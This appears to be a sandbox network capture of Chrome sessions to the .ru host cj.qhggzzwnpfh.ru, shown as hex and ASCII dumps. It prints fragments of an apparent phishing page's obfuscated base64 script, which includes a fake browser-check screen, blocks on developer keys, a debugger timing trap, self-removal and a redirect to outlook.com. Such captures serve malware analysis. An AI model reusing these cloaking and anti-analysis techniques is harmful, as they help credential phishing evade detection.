2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 Data Ascii: >>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((65
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c Data Ascii: ,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d Data Ascii: x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e Data Ascii: ll(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>
2024-12-11 01:08:26 UTC	1369	IN	Data Raw: 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 Data Ascii: on(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	104.21.32.1	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:28 UTC	653	OUT	GET /qABJFN/ HTTP/1.1 Host: cj.qhggzzwnpfh.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:28 UTC	1223	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aY3NDVNnU0tliEmlWSHT285KkpnluLfRQMFDTpTbR24NQD5SEVeaNekjA%2BPLWatIac5m%2FWSBmwoP4J5ilhvTIL6FoAA%2FvBKsIvGCmhxU%2BxwzDYLVa2SUHnmVTUQ%2B7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4886&min_rtt=4878&rtt_var=1387&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1561&delivery_rate=577219&cwnd=245&unsent_bytes=0&cid=23c5bf902a4889c1&ts=163&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InQydTlBc3BIOThNWllVVGxhRldJN3c9PSIsInZhbHVlIjoiekxKd2IvcDlkc2ZxVytROVgrV01KZUQzdUVVMURWZ1pMTTRxeElCTUErczQ0ZC9oRHFpdkZIckhnMFFONytFTTJGTGkwd0dOL0JILzlKcyszbGkwRlFMZ2hzdVlScXBIM0IwQUUvVFp3bjhVTzZTM1RGektUZFNpYm5YM3lHWU8iLCJtYWMiOiIyZGYyNjFiZmJhOTZiNjM4NjU3ODlmZTAxNzkwZGE4MTljOTZkYWE0MmUwMTk4ZjM1Njk5OTVlNjllMzUyOTFlIiwidGFnIjoiIn0%3D; expires=Wed, 11-Dec-2024 03:08:28 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-11 01:08:28 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 52 58 62 44 56 7a 4d 7a 41 79 61 55 4a 34 4c 32 31 35 61 7a 52 55 63 47 4e 51 52 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4c 79 38 31 4e 47 74 77 4e 57 74 4f 52 45 35 71 57 6d 6b 7a 53 55 68 59 62 47 64 68 56 56 4a 54 5a 48 68 76 4d 46 52 49 51 33 70 44 65 56 4a 74 4c 31 6c 36 53 32 49 76 63 32 4d 79 53 33 64 46 5a 56 70 33 53 6c 5a 71 5a 7a 68 71 53 48 4a 61 56 7a 68 35 62 58 46 56 59 6b 78 54 61 33 6c 7a 63 46 4a 4c 61 33 56 76 57 47 46 55 4e 56 42 6e 53 47 52 4c 52 6d 64 34 4d 55 70 77 63 56 5a 59 61 6a 46 76 54 55 6c 47 51 56 56 36 64 31 41 77 57 46 70 46 55 56 55 32 61 6e 70 47 57 45 39 53 4b 33 5a 55 63 6e 46 51 61 32 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjRXbDVzMzAyaUJ4L215azRUcGNQR0E9PSIsInZhbHVlIjoiLy81NGtwNWtORE5qWmkzSUhYbGdhVVJTZHhvMFRIQ3pDeVJtL1l6S2Ivc2MyS3dFZVp3SlZqZzhqSHJaVzh5bXFVYkxTa3lzcFJLa3VvWGFUNVBnSGRLRmd4MUpwcVZYajFvTUlGQVV6d1AwWFpFUVU2anpGWE9SK3ZUcnFQa2w
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 31 38 34 39 0d 0a 3c 21 2d 2d 20 54 68 65 20 72 6f 61 64 20 74 6f 20 73 75 63 63 65 73 73 20 61 6e 64 20 74 68 65 20 72 6f 61 64 20 74 6f 20 66 61 69 6c 75 72 65 20 61 72 65 20 61 6c 6d 6f 73 74 20 65 78 61 63 74 6c 79 20 74 68 65 20 73 61 6d 65 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 77 61 6c 6b 69 6e 67 20 66 72 6f 6d 20 66 61 69 6c 75 72 65 20 74 6f 20 66 61 69 6c 75 72 65 20 77 69 74 68 20 6e 6f 20 6c 6f 73 73 20 6f 66 20 65 6e 74 68 75 73 69 61 73 6d 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6c 53 69 35 78 61 47 64 6e 65 6e 70 33 62 6e 42 6d 61 43 35 79 64 53 39 78 51 55 4a 4b 52 6b 34 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 Data Ascii: 1849... The road to success and the road to failure are almost exactly the same. -->... Success is walking from failure to failure with no loss of enthusiasm. --><script>if(atob("aHR0cHM6Ly9lSi5xaGdnenp3bnBmaC5ydS9xQUJKRk4v") == "nomatch"){d
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 55 47 56 69 62 55 39 6c 62 30 64 6d 55 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 42 6c 59 6d 31 50 5a 57 39 48 5a 6c 4d 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4e 44 68 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 Data Ascii: aXplOjEuNXJlbTt9DQp9DQojUGVibU9lb0dmUyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1BlYm1PZW9HZlMuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNDhweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 Data Ascii: Xlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAg
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 46 4e 72 5a 56 4a 33 56 32 31 68 61 46 41 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 47 70 58 5a 48 6c 76 54 31 4e 53 54 31 49 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 47 70 58 5a 48 6c 76 54 31 4e 53 54 31 49 67 4c 53 42 54 61 32 56 53 64 31 64 74 59 57 68 51 49 44 34 67 55 32 78 57 61 6e 5a 6d 57 57 78 45 55 43 41 6d 4a 69 41 68 64 48 52 69 55 6d 78 32 56 48 5a 4d 64 69 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 Data Ascii: B7DQogICAgICAgIGNvbnN0IFNrZVJ3V21haFAgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IGpXZHlvT1NST1IgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKGpXZHlvT1NST1IgLSBTa2VSd1dtYWhQID4gU2xWanZmWWxEUCAmJiAhdHRiUmx2VHZMdikgew0KICAgICAgI
2024-12-11 01:08:28 UTC	749	IN	Data Raw: 69 59 6d 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 47 52 68 64 47 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 46 65 6e 46 78 59 55 39 47 61 55 31 34 49 6a 34 4e 43 6b 56 75 5a 32 46 6e 61 57 35 6e 49 47 6c 75 49 47 4a 79 62 33 64 7a 5a 58 49 67 59 32 68 6c 59 32 74 7a 49 48 52 76 49 47 56 75 63 33 56 79 5a 53 42 68 49 48 4e 68 5a 6d Data Ascii: iYmx0ZHVhIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZGRhdGEiIG5hbWU9ImJsdGRkYXRhIiB2YWx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJFenFxYU9GaU14Ij4NCkVuZ2FnaW5nIGluIGJyb3dzZXIgY2hlY2tzIHRvIGVuc3VyZSBhIHNhZm
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 32 39 34 35 0d 0a 4e 30 61 57 39 75 49 43 68 6c 64 6d 56 75 64 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 48 30 37 44 51 6f 67 49 43 41 67 5a 47 39 6a 64 57 31 6c 62 6e 51 75 5a 32 56 30 52 57 78 6c 62 57 56 75 64 45 4a 35 53 57 51 6f 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 6b 75 64 6d 46 73 64 57 55 67 50 53 41 6e 51 31 68 6a 53 46 6f 6e 4f 77 30 4b 49 43 41 67 49 48 5a 68 63 69 42 79 54 33 4a 6d 53 32 70 6b 61 6d 31 4a 49 44 30 67 49 69 34 75 4c 32 68 33 54 6d 56 33 63 48 52 47 5a 32 52 68 5a 30 46 6e 64 56 49 7a 62 6d 6c 51 62 55 74 51 55 6e 56 6f 54 6b 64 55 53 45 52 58 5a 32 5a 45 56 6e 46 76 49 6a 73 4e 43 69 41 67 49 43 42 Data Ascii: 2945N0aW9uIChldmVudCkgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIH07DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBhZ2VsaW5rIikudmFsdWUgPSAnQ1hjSFonOw0KICAgIHZhciByT3JmS2pkam1JID0gIi4uL2h3TmV3cHRGZ2RhZ0FndVIzbmlQbUtQUnVoTkdUSERXZ2ZEVnFvIjsNCiAgICB
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 76 64 58 52 73 62 32 39 72 4c 6d 4e 76 62 53 63 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4f 77 30 4b 66 51 30 4b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 4e 43 6a 77 76 59 6d 39 6b 65 54 34 4e 43 67 30 4b 50 43 39 6f 64 47 31 73 50 67 3d 3d 27 29 29 29 29 3b 0d 0a 76 61 72 20 62 46 44 7a 61 53 41 57 4d 45 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 0d 0a 62 46 44 7a 61 53 41 57 4d 45 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 46 44 7a 61 53 41 57 4d 45 29 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 Data Ascii: HdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5vdXRsb29rLmNvbScpOw0KICAgIH0pOw0KfQ0KPC9zY3JpcHQ+DQoNCjwvYm9keT4NCg0KPC9odG1sPg=='))));var bFDzaSAWME = document.currentScript;bFDzaSAWME.parentNode.removeChild(bFDzaSAWME);}if(atob("aHR0cHM6Ly
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 53 42 6f 64 48 52 77 4c 57 56 78 64 57 6c 32 50 53 4a 59 4c 56 56 42 4c 55 4e 76 62 58 42 68 64 47 6c 69 62 47 55 69 49 47 4e 76 62 6e 52 6c 62 6e 51 39 49 6b 6c 46 50 55 56 6b 5a 32 55 73 59 32 68 79 62 32 31 6c 50 54 45 69 50 67 30 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 69 62 6d 39 70 62 6d 52 6c 65 43 77 67 62 6d 39 6d 62 32 78 73 62 33 63 69 50 67 30 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 5a 70 5a 58 64 77 62 33 4a 30 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 33 61 57 52 30 61 44 31 6b 5a 58 5a 70 59 32 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 Data Ascii: SBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAg
2024-12-11 01:08:28 UTC	1369	IN	Data Raw: 34 35 4d 44 42 79 5a 57 30 67 4b 79 41 75 4d 33 5a 33 4b 54 74 39 44 51 6f 6a 55 47 56 69 62 55 39 6c 62 30 64 6d 55 79 41 75 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4c 57 4e 6c 62 6e 52 6c 63 6e 74 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 36 59 32 56 75 64 47 56 79 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 55 47 56 69 62 55 39 6c 62 30 64 6d 55 79 35 74 64 43 30 31 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 33 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 31 42 6c 59 6d 31 50 5a 57 39 48 5a 6c 4d 67 4c 6d 31 30 4c 54 51 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 46 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 51 5a 57 4a 74 54 Data Ascii: 45MDByZW0gKyAuM3Z3KTt9DQojUGVibU9lb0dmUyAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojUGVibU9lb0dmUy5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI1BlYm1PZW9HZlMgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNQZWJtT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	151.101.66.137	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:30 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:30 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2400842 Date: Wed, 11 Dec 2024 01:08:30 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740026-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1733879311.730753,VS0,VE1 Vary: Accept-Encoding
